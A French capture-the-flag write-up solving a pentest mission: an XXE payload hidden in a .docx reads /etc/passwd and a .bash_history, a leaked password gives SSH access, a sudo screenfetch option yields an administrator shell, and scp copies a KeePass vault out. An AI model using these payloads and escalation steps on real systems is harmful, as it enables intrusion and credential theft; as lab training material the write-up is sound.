DGSE CTF - Mission 4 (Pentest)

🔍 Reconnaissance

Le site nous présente deux fonctionnalités : Application “Document Tracker” des attaquants

Testons la première fonctionalité “Track a Word document” pour voir ce que cela fait. J’upload un fichier word que je viens de créer, et en cliquant sur “UPLAOD AND MODIFY” j’obtiens un nouveau fichier apparement “signé” et de nom

984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx

Et voici ce qu’il se passe quand on upload ce fichier dans la seconde fonctionnalité : Fonctionnalité “Identify a victim from a document”

Donc “Track a Word document” doit modifier le document de telle sorte à ce que “Identify a victim from a document” puisse aller chercher cette information :

victim-5bed1359-c105-4a0a-8205-d98ee22fbb87

On voit bien avec exiftool que le Victim ID à été rajouté dans le métadonnées : analyse des métadonnées avec exiftool

🧭 Approche

Nous savons qu’un fichier .docx n’est ni plus ni moins qu’une archive zip contenant des fichiers XML et que la fonctionnalité “Identify a victim from a document” va chercher dans notre .docx le tag Victim ID. J’ai tout de suite pensé à une attaque XXE.

D’après Portswigger :

source : portswigger

et voici comment un fichier XML malveillant peut être modifié pour fuiter le contenu de /etc/passwd :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application’s response to include the contents of the file:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

💣 Exploitation

On commence par renommer et décompresser notre fichier signé dans un dossier test :

$ mv 984888b0-21cc-4a82-b921-3f5d4639440a_signed.docx signed.docx
$ unzip signed.docx -d test      
Archive:  signed.docx
  inflating: test/_rels/.rels        
  inflating: test/docProps/core.xml  
  inflating: test/docProps/app.xml   
  inflating: test/word/_rels/document.xml.rels  
  inflating: test/word/document.xml  
  inflating: test/word/styles.xml    
  inflating: test/word/fontTable.xml  
  inflating: test/word/settings.xml  
  inflating: test/word/theme/theme1.xml  
  inflating: test/[Content_Types].xml

Ensuite on modifie /test/docProps/app.xml avec ce contenu :

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
  <VictimID>&xxe;</VictimID>
</Properties>

Enfin, on se place dans le dossier /test et on recompresse notre archive dans un fichier payload.docx :

$ zip -r ../payload.docx *                                 
updating: [Content_Types].xml (deflated 76%)
updating: docProps/ (stored 0%)
updating: docProps/core.xml (deflated 48%)
updating: docProps/app.xml (deflated 44%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 62%)
updating: word/ (stored 0%)
updating: word/settings.xml (deflated 54%)
updating: word/document.xml (deflated 19%)
updating: word/theme/ (stored 0%)
updating: word/theme/theme1.xml (deflated 76%)
updating: word/fontTable.xml (deflated 67%)
updating: word/styles.xml (deflated 73%)
updating: word/_rels/ (stored 0%)
updating: word/_rels/document.xml.rels (deflated 68%)
updating: docProps/custom.xml (deflated 36%)

On upload payload.docx et … TADAAAM ! Injection XXE mène à la fuite de /etc/passwd

Nous avons bien réussi à fuiter le contenu de /etc/passwd dans lequel nous pouvons distinguer trois utilisateurs potentiellement intéressants :

document-user → /home/document-user avec /bin/sh

executor → /home/executor avec /bin/bash

administrator → /home/administrator avec /bin/bash

En répétant l’opération avec :

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///home/document-user/.bash_history">
]>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties">
  <VictimID>&xxe;</VictimID>
</Properties>

On parvient à obtenir l’histrorique des commandes de document-user : Injection XXE mène à la fuite de /home/document-user/.bash-history

dans lequel on apprends que document-user à renseigné une clé SSH dans un fichier temporaire :

echo "cABdTXRyUj5qgAEl0Zc0a" >> /tmp/exec_ssh_password.tmp

Naturellement, j’ai donc essayé de me connecter au serveur en tant que document-user :

$ ssh document-user@163.172.67.183            
ssh: connect to host 163.172.67.183 port 22: Connection refused

Mais la connexion SSH sur le port standard ne semble malheuresement pas disponible. J’ai donc essayé manuellement d’autres ports (on aurait pu aussi lancer un scan nmap):

$ ssh document-user@163.172.67.183 -p 222            
ssh: connect to host 163.172.67.183 port 222: Connection refused

$ ssh document-user@163.172.67.183 -p 2222            
ssh: connect to host 163.172.67.183 port 2222: Connection refused

$ ssh document-user@163.172.67.183 -p 22222 
The authenticity of host '[163.172.67.183]:22222 ([163.172.67.183]:22222)' can't be established.
ED25519 key fingerprint is SHA256:FUMdLgfIiHMTJVa2uDJhwomIuO6aJy6B3ioUIfXkD1I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[163.172.67.183]:22222' (ED25519) to the list of known hosts.
document-user@163.172.67.183's password: 
Permission denied, please try again.           

La clé ssh qu’on a trouvé précédemment ne semble pas être liée à document-user, essayons avec executor :

Connexion SSH sur le serveur en tant que executor

BINGO ! On obtient un premier pied sur le serveur avec un beau logo ASCII en bienvenue. On fouille dans le dossier de administrator et on remarque un fichier vault.kdbx qui est en fait un coffre KeyPass ! Fichiers du dossier courant de adminsitrator

Malheursement, nous n’avons pas les droits requis pour accéder à ce fichier, nous allons donc devoir élever nos privilèges.

🔓 Elevation de privilèges

Avec un simple

$ sudo -l

Nous découvrons que l’utilisateur executor peut exécuter la commande screenfetch (le programme permettant d’afficher le logo d’une distribution en ASCII) en tant que administrator sans mot de passe (NOPASSWD)

Programme screenfetch pouvant être lancé en tant qu’administrator

Quand on regarde les options que screenfetch peut prendre, on voit que l’option -a peut être très intéressante :

executor@document-station:~$ screenfetch --help
Usage:
  /usr/bin/screenfetch [OPTIONAL FLAGS]

screenFetch - a CLI Bash script to show system/theme info in screenshots.
...
Options:
   -v                 Verbose output.
   -o 'OPTIONS'       Allows for setting script variables on the
                      command line. Must be in the following format...
                      'OPTION1="OPTIONARG1";OPTION2="OPTIONARG2"'
...
   -a 'PATH'          You can specify a custom ASCII art by passing the path
                      to a Bash script, defining `startline` and `fulloutput`
                      variables, and optionally `labelcolor` and `textcolor`.
                      See the `asciiText` function in the source code for more
                      information on the variables format.
...

L’idée serait de lancer screenfetch en tant que administrator avec l’option -a et un script bash qui ouvrirait un shell. On a apparament les droits d’écriture dans /dev/shm :

executor@document-station:~$ ls -la /dev/    
total 4
drwxr-xr-x  5 root root  340 Apr 29 08:47 .
drwxr-xr-x  1 root root 4096 Apr 29 08:47 ..
lrwxrwxrwx  1 root root   11 Apr 29 08:47 core -> /proc/kcore
lrwxrwxrwx  1 root root   13 Apr 29 08:47 fd -> /proc/self/fd
crw-rw-rw-  1 root root 1, 7 Apr 29 08:47 full
drwxrwxrwt  2 root root  120 May  2 11:43 mqueue
crw-rw-rw-  1 root root 1, 3 Apr 29 08:47 null
lrwxrwxrwx  1 root root    8 Apr 29 08:47 ptmx -> pts/ptmx
drwxr-xr-x  2 root root    0 Apr 29 08:47 pts
crw-rw-rw-  1 root root 1, 8 Apr 29 08:47 random
drwxrwx-wt 23 root root 2120 May  5 17:35 shm
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stderr -> /proc/self/fd/2
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stdin -> /proc/self/fd/0
lrwxrwxrwx  1 root root   15 Apr 29 08:47 stdout -> /proc/self/fd/1
crw-rw-rw-  1 root root 5, 0 May  5 17:41 tty
crw-rw-rw-  1 root root 1, 9 Apr 29 08:47 urandom
crw-rw-rw-  1 root root 1, 5 Apr 29 08:47 zero

Elevation de privilèges

Bingo ! On a bien réussi à éléver nos privilèges et nous avons maintenant un shell en tant que administrator !

📤 Extraction

Maintenant il reste à récupérer les fichiers qui nous intéressent dans /home/administrator en les transferant avec SSH sur notre machine :

$ scp -P <PORT> vault.kdbx logo.jpg <USER>@<HOST>:/home/kali/

On ouvre le coffre en reseignant le fichier logo.jpg comme fichier clé :

Ouverture du coffre

Et on récupère le flag dans l’entrée OPERATIONS NOTES !!

Flag

🎁 Bonus

Dans le coffre KeyPass, on voit également une entrée ssh. Peut-être que cette info sera précieuse par la suite…

(Mission 06)👀